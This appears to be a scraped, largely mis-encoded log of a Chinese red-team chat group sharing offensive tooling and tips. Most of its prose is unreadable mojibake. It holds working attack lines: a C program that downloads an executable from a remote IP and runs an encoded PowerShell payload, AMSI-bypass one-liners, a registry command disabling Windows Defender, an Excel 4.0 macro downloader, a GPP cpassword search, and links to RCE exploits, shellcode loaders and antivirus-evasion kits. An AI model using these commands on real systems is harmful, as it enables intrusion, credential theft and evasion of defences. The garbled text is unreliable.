ՔॠLNKᰜṺጱᮎӻොဩํӻἓ໛,ັԧਥො෈໩ဌݎሿᧇᕡ᧔กݝᎣ᭲ฎintᔄࣳ.౯ᦶԧ01234,᮷ӧᤈ,٬ਧᘉgithub.చԧ౯,ᬯฎՈଗጱԪ7-4-0.ހ,᧡ᦡᦇጱ,Ἃᅸڊ๶Ӟӥ.
.ࢶአդᎱইڥ
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https://github.com/realoriginal/bof-NetworkServiceEscalate


᤼ᤓߵ: hhhhhhhh

Wing FTP Server 6.3.8 - Remote Code Execution 

ਂӞӥ҅ӡӞአکԧޫҘ

GitHub+-+V1n1v131r4/Wing-FTP-Server-6.3.8---Remote...

#exploit

JS reverse shell payload

#Ⴝ᭐ದૣ#

独 Bypass Office 365 ᐬአݻक़᮱ᮒկᨴಁᛔۖ᫨ݎጱਞقᒽኼ 

Bypassing+External+Mail+Forwarding+Restrictions+wi...

Bypassing+External+Mail+Forwarding+Restrictions+wi...
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https://github.com/V1n1v131r4/Wing-FTP-Server-6.3.8---Remote-Code-Execution
https://blog.netspi.com/bypassing-forwarding-restrictions-power-automate/
https://blog.netspi.com/bypassing-forwarding-restrictions-power-automate/


᤼ᤓ֦҅ߡ :ߵժ᮷ӧአӤቔဌํᶱፓॠॠ൥ᬯԶጱހ [඄ࢀ]
lengyi: [ঃᒞ] य़਍ᇸ҅ဌૡ֢
᤼ᤓߵ: ֦ӧአԔ֦҅Ԟளԧ [ঃᒞ]
lengyi: [ഉ᚜]
Wing: ੒ӧ᩸҅౯ժӧአӤቔጱ̶
᤼ᤓߵ: [๢ฬ][๢ฬ][๢ฬ] ൒֦օዔԧࠡ҅ྲই᧔ math

C# ಗᤈ powershellҁԏٟڹጱᒟᦕ҅ٻٻහ҂..
୮෸ၥጱ෸ײ VT ฎ 0 ๤҅windows 10 ᪒ጱᦾضᬦ AMSI

H01k: c# ᬮݢզۗ׵දବ੶෈կ๶؉Ӟӻݸᳪ̶

#Ⴝ᭐ದૣ#  
WEBASSEMBLYંԭڹᒒጱ᫾ෛದ๞,֢ᘏਖ਼Cᖫᦲ౮js,᭗ᬦnodeಗᤈ,ᬡݍک୨shellጱፓጱ.
#include 
#include 
using namespace std;

int main(int argc, const char *argv[]) {
system("curl http://192.168.0.107/nps.exe  --output C:\Users\Public\nps.exe && C:\Users\Public\nps.exe -encodedcommand
QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFAAcgBlAHMAZQBuAHQAYQB0AGkAbwBuAEMAbwByAGUALABQAHIAZQBzAGUAbgB0AGEAdABpAG8AbgBGAHIAYQBtAGUAdwBvAHIAawA7ACQAbQBzAGcAQgBvAGQAeQAgAD0AIAAiAFcAMAAwAHQAIABXADAAMAB0ACEAIQAiADsAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAkAG0AcwBnAEIAbwBkAHkAKQA=");
return 0;
}

WebAssembly+–+Executing+malicious+code+using+Syste...

#൉๦#  
Win10ٖ໐൉๦

ps:౯ᬯ᯾ᨩ֒ဌ౮ۑ.
ᛔ૩ᖫᦲ,ڦአڦՈᖫᦲጱ,֦ᛔ૩ᖫᦲጱԞڦᕳڦՈ,᮷ํ֦ጱמ௳.
Kernel-Exploits/kCFG_Bypass.c+at+master+·+connormc...
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http://192.168.0.107/nps.exe
https://iamroot.blog/2020/06/29/webassembly-executing-malicious-code-using-system/
https://github.com/connormcgarr/Kernel-Exploits/blob/master/HEVD/Write-What-Where/kCFG_Bypass.c


Wing: ᬯӻՙପ᯾ᬮํپӻ൉๦ጱ C դᎱ
᤼ᤓߵ: pbd ෈կ [ၞဴ]

#๤ع#  
DLLݍ੘ဳعف๤,CSጱፘىൊկ౯ဌܦ᨝,౯ತړٚکՁ.ᶲଃӤփӻ෈໩.
Reflective+PE+Injection+in+Windows+10+1909+|+BC+Se...

ᧇᕡᥴ᧔՗क़ᗑᬰٖفᗑٚཞݻ
ኧGcowਞࢫقጱጱࠈੜᷚ୯ګ
ᧇᕡᥴ᧔՗क़ᗑᬰٖفᗑٚཞݻ

Wing: ᬯᐿӧୌᦓ᫨๋҅ݎঅํՕᕨ̶
crazyman: ᥝӧ wing ૵ؓލލض ൉ᅫӞӥ

#ᕁᴚದૣ#  
አಁݷ౲ᘏੂᎱӧ੒ጱᦾ,ᬯӻ໛໛տӞፗ୨.XD
Mac cscᖫᦲݢܨ.

GitHub+-+WingsOfDoom/ICU:+quick+'n+dirty+poc+based...
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https://www.bc-security.org/post/reflective-pe-injection-in-windows-10-1909/
https://mp.weixin.qq.com/s/l-w1Tx9h-hjg4Y4ZEziiFA
https://github.com/WingsOfDoom/ICU


᤼ᤓߵ: ᬯӻૡٍঅ
lengyi: ൊկᯯፓ
ᑇ৏ា: ࿢ᳯғCS ெԍႲےᛔਧԎጱ१ࠡ҅੪Ӿᳵᮎӻ redteam ᮎӻ
Wing: ݍᖫᦲ cs҅ݢզ݄਍ԟԫེ୏ݎ cs
ᑇ৏ា: ᬯӻํ᧞ᑕࡶ
Wing: ֦݄ bilibili ൤ᔱᕁᴚ਍ᴺ๋҅ᬪጱᜓپ᧞੪ฎᦖᬯӻ̶
ᑇ৏ា: অጱᨀᨀ╰(*´Ƙ`*)╯
ᑇ৏ា: य़֬҅౯፡ԧӥݍᖫᦲጱᮎӻ҅चᏐጱտԧ҅֕ฎெԍᕳӾᳵےᛔਧԎጱຽ᷌ࠡ҅ᬯӻଫᧆදߺӻᔄޫ

౯ԞݎӞӻbypassASMI4์҅މղၥᦶጱ෸҅ײᬮฎݢզጱ҅ሿࣁදදଫᧆԞݢզ̶

ইӥғ

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue( true)

දғץ

m" + "iUtils").GetField('amsiI' + 'nitFailed','NonPublic,Static').SetValue( true)
#Ⴝ᭐ದૣ#  #Redteam#  #ASMI#

Wing: ᥝᓕቘާ๦ᴴ̶ࡶ౯ӥ܌፡ pdf ጱ෸॔ײሿአฦ᭗๦ᴴဌݍଫ̶ೲ᭲ቘԞᥝ admin ๦ᴴ಍ᤈ̶
lengyi: ੒᧖҅Ӟᛱ๶᧔ฎᵱᥝ admin ጱ

mssql ෫෈կrootkit ڥአclr൉๦کsystem
MSSQL+Fileless+Rootkit+-+WarSQLKit+-+Eyüp+ÇELİK+//...

፡ํڟڟय़֬ݎsqlserver clrڥአ҅ԏٟڹԧᓤ௛ᕮ҅ᶲ׎੪ݎԧ
mssqlڥአ&CLRڥአ&mssqlproxy(ᰒ੒ᶱፓڊሿᳯ᷌ጱഭັ޾ᥴ٬) 
xp_cmdshell
୏ސxp_cmdshellਂؙᬦᑕ
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http://eyupcelik.com.tr/guvenlik/493-mssql-fileless-rootkit-warsqlkit


եಗᤈ޸
SP_OACreate
(෫ࢧด)
(ดࢧํ)
CLR Assemblies
CLRդᎱ(ӧع๤)
ਁᜓၞ੕ف
dll෈կ੕ف
CLRع๤
ੂᎱғ123qwezzzzerc

#ਞق୏ݎ#  #Ⴝ᭐ದૣ#  #ٖᗑႽ᭐#  

SQLserverڥአ - ᤼ᤓߵጱੜ੻

Black cher*: ᚆࣁވ sqlshell ڥአ҅҅౯ሿํࣁӻ sqlserver ဳ҅ف๦ᴴ֗҅᪒හഝॡౌԧ [ၞဴ]
᤼ᤓߵ: ᬯ஑፡ဳفᔄࣳԧ҅ౌጱᦾݢզᦶᦶ - threads=10҅౲ᘏ֦ᮎӻဳفฎ෫ࢧดጱ҅౯ᬯӻ෈ᒍጱ࣋วๅग़ฎٖᗑཞݻಘ઀
Black cher*: অጱ҅กጮԧ
L: ٟԧӞӥݎ܌ሿᤩ sql server ൳ԧӞ᭲҅౯੪᧔ᬯԍහഝᬌڊӧق [ഉ᚜]ҁnchar̵nvarchar̵ntext̶ᬯӣᐿ՗ਁݷӤ፡ྲڹᶎӣᐿग़ԧӻ “N”̶ਙᤒᐏਂؙጱฎ Unicode හഝᔄࣳጱਁᒧ̶౯ժᎣ᭲ਁᒧӾ҅᝕෈ਁ
ᒧݝᵱᥝӞӻਁᜓਂؙ੪᪃ड़ԧ҅֕࿥ਁռग़҅ᵱᥝӷӻਁᜓਂؙ҅᝕෈Ө࿥ਁݶ෸ਂࣁ෸਻ฃ᭜౮ႰԤ҅Unicode ਁᒧᵞ੪ฎԅԧᥴ٬ਁᒧᵞᬯᐿӧّ਻ጱᳯ᷌ᘒԾኞጱ҅ਙಅํጱਁᒧ᮷አӷӻਁᜓᤒᐏ҅ܨ᝕෈ਁᒧԞฎአӷӻ
ਁᜓᤒᐏ̶nchar̵nvarchar ጱᳩଶฎ4000 ک 1 ࣁ ԏᳵ̶޾ char̵varchar ྲ᫾᩸๶҅nchar̵nvarchar ๋ڞग़ਂؙ 4000 ӻਁᒧ҅ӧᦞฎ᝕෈ᬮฎ࿥ਁҔᘒ char̵varchar ๋ग़ᚆਂؙ 8000 ӻ᝕෈҅4000 ӻ
࿥ਁ҂
᤼ᤓߵ: ֦᮷ᬌࠨڊԧ
L: ஗ሾᬌ޸ڊեಗᤈጱᕮຎᚆᥴ٬ӧ᩻ᬦᬯӻय़ੜጱ
L: ޸եಗᤈᕮຎ௛ᳩଶ᩻ᬦ๋य़꧊
L: 

node+wasmಗᤈ௶఺codeғWebAssembly+–+Executing+malicious+code+using+Syste...

emccਞᤰғਞᤰEmscripten+-+C/C++ᶎݻwasmᖫᑕ+-+ڹᒒ+-+യᰂ
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http://www.8sec.cc/index.php/archives/401/
https://iamroot.blog/2020/06/29/webassembly-executing-malicious-code-using-system/
https://juejin.im/entry/5bcd43a5e51d457a502a7554


#๤ع#  
GolangᇇShellcodeے᫹ݢ,࢏զᭌೠᕚᑕဳف౲ᘏAPCဳف.
ᅉᕭտೝ౼ᇙ஄-ץද360,ݢܨӧೝ౼-ᡦ೙๢ၥᦶ.
ֵአ෸ࣁWin౲Linuxᖫᦲ,macӧඪ೮Windowsପ.
ፘىᎣᦩݢզ፡ᬯᓤ෈ᒍ
[ᘉᦲ]ग़ᐿDLLဳفದ๞ܻቘՕᕨ-́क़෈ᘉᦲ͂-፡ᵪਞقᦞࣚ

አ QueueUserAPC() ڍහ๶୩ګᕚᑕᭅڊᒵஇᇫா
አ+QueueUserAPC()+ڍහ๶୩ګᕚᑕᭅڊᒵஇᇫா_zicheng_linጱӫໄ-CSDN...
ᶱፓ࣎ࣈ: GitHub+-+D00MFist/Go4aRun:+Shellcode+runner+in+GO+...

᤼ᤓߵ: ํ෸ᳵ਍ԟӥ

#๤ع#  
GolangᇇShellcodeے᫹ݢ,࢏զᭌೠᕚᑕဳف౲ᘏAPCဳف.
ᅉᕭտೝ౼ᇙ஄-ץද360,ݢܨӧೝ౼-ᡦ೙๢ၥᦶ.
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https://bbs.pediy.com/thread-220405.htm
https://blog.csdn.net/zicheng_lin/article/details/6597924
https://github.com/D00MFist/Go4aRun


ֵአ෸ࣁWin౲Linuxᖫᦲ,macӧඪ೮Windowsପ.
ፘىᎣᦩݢզ፡ᬯᓤ෈ᒍ
[ᘉᦲ]ग़ᐿDLLဳفದ๞ܻቘՕᕨ-́क़෈ᘉᦲ͂-፡ᵪਞقᦞࣚ

አ QueueUserAPC() ڍහ๶୩ګᕚᑕᭅڊᒵஇᇫா
አ+QueueUserAPC()+ڍහ๶୩ګᕚᑕᭅڊᒵஇᇫா_zicheng_linጱӫໄ-CSDN...
ᶱፓ࣎ࣈ: GitHub+-+D00MFist/Go4aRun:+Shellcode+runner+in+GO+...

᤼ᤓߵ: ํ෸ᳵ਍ԟӥ

຤ᶎᦶ᷌҅๶᧔᧔௏᪠Ҙ

෈կӤփᬦᄁԧ ܔ୚݌޾ݩ୚޾ݩ > ҅҅҅ ᬮํࠨḾ௏᪠ހҘ

Echoဌํᬦᄁ
#Ⴝ᭐ದૣ#

Wing: ฎӧฎဌ᧔̶ق੠ೡݩᬦᄁ಍१ዢ
L1m3: ᭬کᬦݢզဳٙᨴݩऴٟձ఺ٖ਻҅Ӥփ.htaccess ෈կ۱ތ session
lengyi: ࣯࣍ਁᒧऴ꧌ଫᧆԞฎӞᐿොဩ
lengyi: ᬯӻݢզࠡ
᤼ᤓߵ: ձ఺ٟ෈կݷጱᦾ.user.ini Ԟݢզᘍᡤӥڥአ

#Ⴝ᭐ದૣ#  #Redteam#

զၥᦶӥݢ୞س๤ૡٍ҅ᘍᦶӾ҅ဌ෸ᳵၥᦶ҅ํ෸ᳵጱع

Xeexe is an FUD exploiting tool which compiles a malware with famous payload, and then the compiled maware can be executed on Windows Xeexe Provides An Easy way to create Backdoors and Payload which can bypass TOP antivirus.

GitHub+-+persianhydra/Xeexe-TopAntivirusEvasion:+U...

#bypassAV #  Ⴝ᭐ದૣ# #Redteam#

RedTeaming - 2020-06-30 
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https://bbs.pediy.com/thread-220405.htm
https://blog.csdn.net/zicheng_lin/article/details/6597924
https://github.com/D00MFist/Go4aRun
https://github.com/persianhydra/Xeexe-TopAntivirusEvasion


Ӟӻੜૡٍ

Ligolo : Reverse Tunneling made easy for pentesters, by pentesters

Ligolo is a simple and lightweight tool for establishing SOCKS5 or TCP tunnels from a reverse connection in complete safety (TLS certificate with elliptical curve).

It is comparable to Meterpreter with Autoroute + Socks4a, but more stable and faster.

GitHub+-+sysdream/ligolo:+Reverse+Tunneling+made+e...

RedTeaming - 2020-06-30 

https://github.com/sysdream/ligolo




websocketၥᦶᗑᒊ

websocket.org+Echo+Test+-+Powered+by+Kaazing

#ཞݻᑏۖ#  
DCOM+HTAᬰᤈཞ҅ݻ౯ၥᦶݝᚆࣁ๜ࣈ౮҅ۑᬱᑕԆ๢Ӟፗฎ०ᨳ҅ํ૵ؓ๶᪴᪴ࣗ፡፡Ҙ
ฎᵱᥝx86ᬰᑕ̶֕҅ڋӻฎ᭗ᬦExcelᬰᤈධํݻक़੪ฎDCOMጱཞݚ
https://codewhitesec.blogspot.com/2018/07/lethalht...

RedTeaming - 2020-06-30 
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http://websocket.org/echo.html
https://codewhitesec.blogspot.com/2018/07/lethalhta.html




#CSTips#  
WebUIӥᛔۖ۸ኞ౮C2Profiles
˾─ docker run --rm -d -p 3000:80 --name c2profilejs hattmo/c2profilejs:latest

᭗ᬦᕟᒽኼىᳮ Windows Defenderғreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD

᫨ᛔ᫣ሴጱจቖ

RedTeaming - 2020-07-01 
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h="4456625220575263174452554847"
b = s,'NonPublic,Static')

null,$true)

පຎ፡ࢶ

#bypassAV#  #ASMI#  

crazyman: amsi wldp evt ᮷ᥝᘍᡤࠡ
-: ՔॠڟঅࣁവӤ፡ᥠ

Kali LinuxӾֵአPowerShellᚕ๜ᬰᤈႽ᭐ၥᦶ̶ࣁ

#Ⴝ᭐ದૣ#  

PowerShell+for+Pentesting+in+Kali+Linux+|+Offensiv...

Wing: powershell قଘݣ᮷ඪ೮̶kali ᘌྷৼཻࡅአ̶

#ᕁᴚದૣ#  
ᛔۖ۸ݎሿፓຽӤଫአᑕଧۙݢ೮ጱdll,๦ᴴᖌ೮એӧฎஉḕҘ
https://posts.specterops.io/automating-dll-hijack-...
አդᎱڥ
DLLHijackTest/Get-PotentialDLLHijack.ps1+at+master...
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https://www.offensive-security.com/offsec/kali-linux-powershell-pentesting/
https://posts.specterops.io/automating-dll-hijack-discovery-81c4295904b0
https://github.com/slyd0g/DLLHijackTest/blob/master/Get-PotentialDLLHijack.ps1


amsi dll hijack bypass: amsi+dll+hijack+bypass

ߝӞԶ౮޾क़૵ٟؓጱӞ๜᭗ᬦCsharp๶BypassAvsጱԡ҅ᬯ֖૵ؓgithub᯾ᬮํᥤ᷇ᦖᥴࢵՁړ
GitHub+-+DamonMohammadbagher/eBook-BypassingAVsByC...

#๤ع#

360ᅎᚸਫḵਰߝڊጱӞӻཞݻૡٍ

WMIHACKER
(ݗ෫ᵱ445ᒒ)ᑏۖၥᦶૡ̶ٍݻ๤ཞعWMIHACKERڊե҅ᬯԶොୗ᮷૪ᕪᤩ๤᫫100%ೝ౼҅᭗ᬦද᭜޸౲᧣አWin32_Process.createಗᤈۓୌ๐ڠեฎ޸եಗᤈ҅ଉᥠጱWMIEXEC̵PSEXECಗᤈ޸Ⴝ᭐ᬱᑕݻ๤ཞع

Ԇᥝۑᚆғ1̵޸եಗᤈҔ2̵෈կӤփҔ3̵෈կӥ᫹

ᶱፓ࣎ࣈғ
GitHub+-+360-Linton-Lab/WMIHACKER:+A+Bypass+Anti-v...

፡ԧ፡դᎱ҅᯾ᶎአکԧय़ᰁጱ๊ഘ̵೪ള҅զ݊ӞԶWQL᧍҅ݙӻՈఽᥧݢզਖ਼᯾ᶎጱADODB.Streamԏᔄጱᬰᤈᓌ๊ܔഘ҅๶ᬰᤈԫེጱֵአ҅ݢզ݇ᘍvbsل୏ጱᬯԶӳᥜ҅౲ᘏਖ਼cmdጱ᧣አ҅දԅᑏۖݸ᧣አ҅౲ᦜපຎๅঅ̶

Wing: ޫࢶҘ[ළ಑][ළ಑]

findstr /S/I cpassword \\sysvol<FQDN>\policies*.xml

ಢᰁ൤ᔱ xml Ӿ cpassword ਁྦྷ̶๋ᬪᏳکԧ҅੪ᶲ᭲ڊݎ๶̶
gpp ᄋ၏
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https://articles.zsxq.com/id_np7z7fhkj9wg.html
https://github.com/DamonMohammadbagher/eBook-BypassingAVsByCSharp
https://github.com/360-Linton-Lab/WMIHACKER/


Ձӻlolbinړ
1.ḒضൊفӞӻMS Excel 4.0ਡᤒ
2.಩ෛୌMS Excel 4.0ਡᤒጱA1ݷᑍදԅAutoOpen
3.ਖ਼޸ե
=CALL("INSENG","DownloadFile","BCCJ"," https://google.com ","D:\LOLbinTest\googleIndex.html",1) ‘᧣አINSENG.dllཛྷࣘӾጱDownloadFileڍහӥ᫹https://google.comکD:\test\google.html
AutoOpenفٟ
A2ٟ=HALT() 'ᕮ๳೰ե
ಗᤈ,ਂכ.4
୮ᆐ֦Ԟݢզ᯻ݐᵌᡐᮎӻMS Excel 4.0ਡᤒ

ဳ఺:1.Րᴴwin10 2.MS Excel 4.0ਡ2013ࣁᇇ๜զ݊զӥጱᇇ๜

RedTeaming - 2020-07-02 

https://google.com/
https://google.com/


Wing: ᒫԫӻ๵կጱ఺௏ฎ office2013 զӥҘᬯӻᇇ๜ெԍ፡̶
crazyman: ֦ office Ӟ಑୏෈կጱۖኮ੪൉ᯯ֦ԧࠡ
Tony: ฎӧฎ஑ސአٖ਻ᖫᬋ಍ᤈҘ
crazyman: ੒ࠡ
Tony: Get

#ᕁᴚದૣ#  
ฌॠlengyiݎጱ҅ဌဩ෫෈կಗᤈ҅ᵱᥝӤփکፓຽӤ҅ꂁঅአጱ̶ֵአvb+WQLᬰᤈັᧃ޾ಗᤈ̶

RedTeaming - 2020-07-03 



crazyman: event ࢧ᧣ ଚӧᚆ೮ԋع๤ տྒ஑உద
Wing: ᮎ޽ෆ̶಩᯾ᶎཛྷࣘುᐶڊ๶ද
crazyman: ݢզᘍᡤਖ਼᮱ړುݸݐᬰᤈੂے
lengyi: Քॠၥᦶጱ҅ݢᬦ 360 قਹ໲ (ᡦ೙๢)҅Ծኞ 4634̵4624̵4672̵4776 ጱጭ୯෭ப҅4672 տดᐏრ̶࣎ࣈ

#ૡٍದૣ#  
ᛔۖ۸឴ݐৼऒ̵ݷjs෈կ̵IP̵ᒒ̵ݗxrayಚൈጱshellᚕ๜
ᦞٖࣚ਻ᐬྊक़փ҅ํᨴݩᛔ૩឴̶ݐ
T00LS+|+֗᧣࿢ݎ઀+-+ᄟஞԟਞق

#Poc|Exp#  
0nise૵ؓ୓ጱӞԶྎ࢏ପ
gcl GitHub+-+0nise/spear-framework  
cd spear-framework 
php -S 127.0.0.1:8001

#Poc|Exp#  
0nise૵ؓ୓ጱӞԶྎ࢏ପ
gcl GitHub+-+0nise/spear-framework  
cd spear-framework 
php -S 127.0.0.1:8001
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https://www.t00ls.net/thread-56950-1-1.html
https://github.com/0nise/spear-framework
https://github.com/0nise/spear-framework


#Ⴝ᭐ದૣ#  #Javaਞق#  

ᖫᦲclass෈կ឴஑ᗑᒊრᎱݍአձ఺෈կӥ᫹ᄋ၏ᛔۖ஗ሾӥ᫹ଚڥ
LandGreyॡ୩ԧ
GitHub+-+LandGrey/ClassHound:+ڥአձ఺෈կӥ᫹ᄋ၏஗ሾӥ᫹ݍᖫᦲ+Cl...

#ཞݻᑏۖ#  #ᕁᴚದૣ#  
ե޸ಗᤈݻአRDPཞڥ
GitHub+-+Dm2333/SharpRDP:+SharpRDPදᖫᇇ
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https://github.com/LandGrey/ClassHound
https://github.com/Dm2333/SharpRDP


cs 4.1 ํအᶂڊ๶ԧހ [ࣕᒞ] emm ӧᚆಅํՈ൉ᳯࠡ

4.1 6.25 ๅෛጱ҅౯ᬯᬟጱჀֵ᭲ܨ೭کԞӧᚆل୏҅ํݝᒵय़ਹ᮷ل୏զݸ಍ץݎදᇇ̶

#CSTips#  
CS4.1ےԧӞӻBOFҁBeacon Object Files҂ጱሻ఺҅ᓌܔ๶᧔੪ฎbeacon൉׀ԧӞӻٖ᮱ጱAPI֦҅ݢզ᭗ᬦᬯӻapi݄୏ݎӞԶᛔਧԎጱཞۑݻᚆཛྷࣘ҅অ॒੪ฎ౯ժ୏ڊݎ๶ጱ౮֛ߝᑌੜ҅ᭇݳአࣁӸ໒ጱᗑᕶሾहӥ҅ྲইDNSཛྷୗ҅ਥොጱdemoฎ
ٟԧӞӻձ఺አಁጭ୯ऒٖፓຽԆ๢ጱBOF҅BeaconጱAPIᥠ෈໩҅ᬯӻ௏᪠ॡঅԧ҅Ӟਧᥝ๜ࣈ᧣ᦶঅBOF҅಩ᬰᑕ୓ૄԧ҅๦ᴴ੪ဌԧ̶

Wing: ᥠ෈໩[Beacon+Object+Files+-+Cobalt+Strike](https://www.cobaltstrike.com/help-beacon-object-files)

ե޸եಗᤈԏᕰᬦᴠᅉाᖀᖅಗᤈ޸

ᰜṺԏڥአftp޸ե൥Ԫఘ

݄ଙᕁᴚտᦓӾړՁጱӞӻ໏๜
ቘᬮᚆአ҅ᕰӞӥ360̶ץቘץ
ᰜṺԏڥአftp޸ե൥Ԫఘ+-+᤼ᤓߵጱੜ੻

Question: 

Answer: 

RedTeaming - 2020-07-04 

RedTeaming - 2020-07-04 

RedTeaming - 2020-07-05 

https://mp.weixin.qq.com/s/jaO3uFXa2BWqHfbG_wKWSA
http://8sec.cc/index.php/archives/407/


crazyman: ௗӧ஑ OCEANLOTUS ᬯԍཻࡅአᬯᐿ

#Poc|Exp#  #ᕁᴚྎ۸࢏Ꮈݎ#  
Smbghostݢզአgoᇇ๜ጱᬰᤈ༄ၥ҅੒ଫጱڥአᥝአpyᇇ๜ጱᦾݢզ୏ӻդቘڊ๶ၥᦶ̶

GoGhost/GoGhost.go+at+master+·+deepsecurity-pe/GoG...

windows PE਍ԟғwindows+PE਍ԟ+|+ԜӮጱܗਮ

http://8sec.cc/index.php/archives/409/
ӞᲫDump lsass+logonpassowrd
ຉӤེsafekatzଚਫሿړ
ᶲ׎ๅෛԧӥ՜ጱmimikatz
ᶱፓӾᬯ໏ᬮฎᚆ፜ӧ੝Ԫఘ̶ࣁ
ੂᎱғ123lmskc
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ᕁᴚྎ۸ֵ࢏አ෈໩
Cobalt Strike4.1 ਥොֵአ෈໩

ӥ᫹᱾ളғhttps://www.cobaltstrike.com/downloads/csmanual41....  

RedTeaming - 2020-07-05 

https://github.com/deepsecurity-pe/GoGhost/blob/master/GoGhost.go
https://422926799.github.io/posts/c925c057.html
http://8sec.cc/index.php/archives/409/
https://www.cobaltstrike.com/downloads/csmanual41.pdf


Wing: ᇍಢ҅፜Ԫ̶ᬯӥৼ̶
lengyi: msbuild ᮎӻ౯ࣁ൥҅ӧᎣ᭲ࠨ෸ײᚆ൥ڊ๶...
᤼ᤓߵ: ภԶ౯୓୓ᦶᦶ [ਸ਼ᗪ]
lengyi: ጮ৫҅ᮎ౯ [ࣕᒞ]
Wing: ጮ৫ؾғෆளᅩ҅ᒵӧ݊ԧ̶
᤼ᤓߵ: ०ᨳ ᧣ԧঅԋ҅กภٚᦶމ

ӻwmicጱአဩғݎ

PS C:\Users\Administrator\Desktop> cscript C:\Windows\System32\winrm.vbs invoke Create wmicimv2/win32_Process -SkipCAche
ck -SkipCNcheck -file:.\poc.xml

xmlٖ਻ইӥ

<?xml version="1.0" encoding="UTF-8"?>

calc.exe /p:CommandLine
C:</p:CurrentDirectory>
/p:Create_INPUT

ᵱᥝጱᛔ҅ݐἕᦊݣݸᬩᤈ

RedTeaming - 2020-07-05 

file:///p:CommandLine
file:///p:Create_INPUT


Wing: ᭇݳአࣁ webshell ࣋วҘ
Ӟڔᵋᖭ: win7 ӥၥᦶ҅ᵱᥝᓕቘާ๦ᴴ҅ᵱᥝ୏ސ winrm ๐҅ۓᆐݸ੪ฎᘶᗑጱ 360 տೝ౼ webshell ࣋วᵱᥝع๤॒ቘމ [ްᇌ] ఽᨀ lengyi ᤒߵጱړՁ
lengyi: ̶ߌ౯୮෸ၥᦶᘶᗑᬮฎӧ๤ጱ҅ىԭ winrm ᬯӻ҅ࢩԅਙ๜ᨶֵአጱฎ wmi҅wmi ጱᬱᑕᵱᥝ winrm ᧖҅



#CSTips#  
CSൊկവគ,౯ጱୌᦓฎ಑᭜ᛔ૩ጱKit,మېဩ಩ڦՈጱޕත౮ᛔ૩ጱ.

GitHub+-+pandasec888/taowu-cobalt-strike

ඪ೮ಢᰁݝ

Wing: ᬯӻ၏ᬯپॠဌࣁਹᬮဌ॔ሿ҅msf ᮷ےᬰ݄ԧ҅ᬩ០ࠟ޾ᱷᤈࣁአ̶
L: ᦶԧӞӥ҅Ӟञ rce ෫ࢧด̶ํࢧดጱஉ੝҅֕ฎ lfi ӻӻ᮷ํ

#Ⴝ᭐ದૣ#  
F5ᄋ၏——Burp༄ၥൊկ

BurpBounty/F5-BigIP_CVE-2020-5902.bb+at+master+·+w...

Hack the box tabby: Hack+the+box+tabby+|+ԜӮጱܗਮ

msbuild ӞᲫdump+mimi
ӥቔ൥ԧӷॠ௛ᓒ୓ڊ๶ԧ
ෆӻ௏᪠ᬮฎֵአmsbuildጱٖᘶձۓᬩᤈ҅֕ฎԏٟڹጱᮎӻsafekatzդᎱӧᚆፗളአ҅ᘒӬᬮਂࣁunsafe class҅msbuildঅ؟ဌํېဩᥴ٬̶ӧ؟cscݢզፗള/unsafe݇හ̶

minidump()ොဩ᫨ؙlsassᬰᑕ
ᆐڥݸአpeloader ے᫹mimikatzಗᤈᥴᎱ̶

RedTeaming - 2020-07-06 
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RedTeaming - 2020-07-08 

RedTeaming - 2020-07-08 

RedTeaming - 2020-07-08 

https://github.com/pandasec888/taowu-cobalt-strike
https://github.com/wagiro/BurpBounty/blob/master/profiles/F5-BigIP_CVE-2020-5902.bb
https://422926799.github.io/posts/5c929347.html


ᔄ֒ᬦᑕݢզ፡3অ਍ኞጱ෈ᒍ̶౯ฎ፥ဌ፡کᬯᓤ෈ᒍ[ၞဴ]ӧᆐӧᛗԭܜᬯԍԋ
https://3gstudent.github.io/3gstudent.github.io/%E...

ጱᚕ๜ғ֢ګ
http://myblogimages.oss-cn-beijing.aliyuncs.com/so...

զᕰᬦ360̶ݢ

http://myblogimages.oss-cn-beijing.aliyuncs.com/so...

Wing: ٫҅ᬦپॠ౯Ӥቔԧٚ॔ሿӥ̶

#CSTips# #๤ع#   
ᡱᆐሿํࣁԧKitզعݸ๤உᓌܔො֕҅׎ฎԏڹጱᦾ੪ฎදshellcodeጱኞ౮ᬦᑕ҅ᬯӻ֢ᘏฎᛔ૩᯿ٟӞӻૡٍ҅ԏڹᥠᬦದૣฎݍᖫᦲ஑کArtifact.exeጱრᎱ҅ᆐݸፗള᯿ෛٟӞӻع๤ጱArtifactኞ౮payload3.14̶ݢܨᇇ๜4.0޾ᇇ๜ኞ౮ොୗݎኞԧද
̶ݒ

՗ڽຉCS๙Ḙኞ౮ک୏عݎ๤ૡٍ

ᬻᬸॿᇙ่: จԆํᑮڊӞԶ ع๤ kit ጱץදದૣމ
Wing: ํՈړՁ kit ጱᦾݢզٟӞӥ̶౯ᛔ૩ጱӧฎ౯๜Ոጱ̶

ᛔਧԎURL Protocolܐᦓ+ཛྷ೙ᅩڋ೉᩸ଫአ/ಗᤈ޸ե
ԏڹጱਂᨵ҅ฮ෸ᬮဌమํکՋԍ࣋วݢզአ̶ک੪ᓒฎ਍ԟӞ᪀މ

RedTeaming - 2020-07-09 

RedTeaming - 2020-07-09 

https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E4%BB%8Elsass.exe%E8%BF%9B%E7%A8%8B%E5%AF%BC%E5%87%BA%E5%87%AD%E6%8D%AE/
http://myblogimages.oss-cn-beijing.aliyuncs.com/soft/dump%2Bmimi.xml
http://myblogimages.oss-cn-beijing.aliyuncs.com/soft/dump%2Bmimi.xml
https://mp.weixin.qq.com/s/BUp3ignvFJhpm-unStrXig


ᛔਧԎURL+Protocolܐᦓ+ཛྷ೙ᅩڋ೉᩸ଫአ/ಗᤈ޸ե+-+᤼ᤓߵጱੜ੻
#ٖᗑႽ᭐#

Wing: location ᰜṺ
Wing: ತӞԶמݢᒊᅩጱ url ᪡᫨
᤼ᤓߵ: [ഉ᚜][ഉ᚜] ཛྷ೙ᅩํڋᅩḾ

#FridaTips#  
